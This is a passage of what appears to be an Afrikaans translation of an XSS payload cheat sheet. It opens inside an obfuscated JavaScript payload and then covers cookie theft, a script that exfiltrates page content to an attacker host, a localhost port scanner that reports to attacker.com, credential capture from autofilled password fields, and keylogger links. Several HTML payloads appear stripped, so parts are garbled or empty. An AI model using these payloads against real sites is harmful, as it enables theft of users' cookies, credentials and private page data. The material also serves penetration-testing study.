- (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS algemene vragte ### Verskeie vragte in 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Haal Koekies op ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Jy sal nie in staat wees om die koekies vanaf JavaScript te benader as die HTTPOnly-vlag in die koekie ingestel is nie. Maar hier het jy [sekere maniere om hierdie beskerming te omseil](../hacking-with-cookies/#httponly) as jy genoeg gelukkig is. {% endhint %} ### Steel Bladsy-inhoud ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Vind interne IP's ```html ``` ### Poortskander (ophaling) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Poortskandeerder (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Vang van outomatiese wachtwoorde ```javascript Username:
Password:
``` Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs as die klient 'n gestoorde wagwoord kies en niks skryf nie, sal die geloofsbriewe uitgelek word. ### Sleutelbordopnemer Deur net op GitHub te soek, het ek 'n paar verskillende gevind: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Jy kan ook metasploit gebruik `http_javascript_keylogger` ### Steel CSRF-token ```javascript ``` ### Steel van PostMessage-boodskappe ```markup ``` ### Misbruik van Dienswerkers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Toegang tot Skaduwee-DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Meertaliges {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Blinde XSS-aanvalle Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >Click Me For An Awesome Time "> ">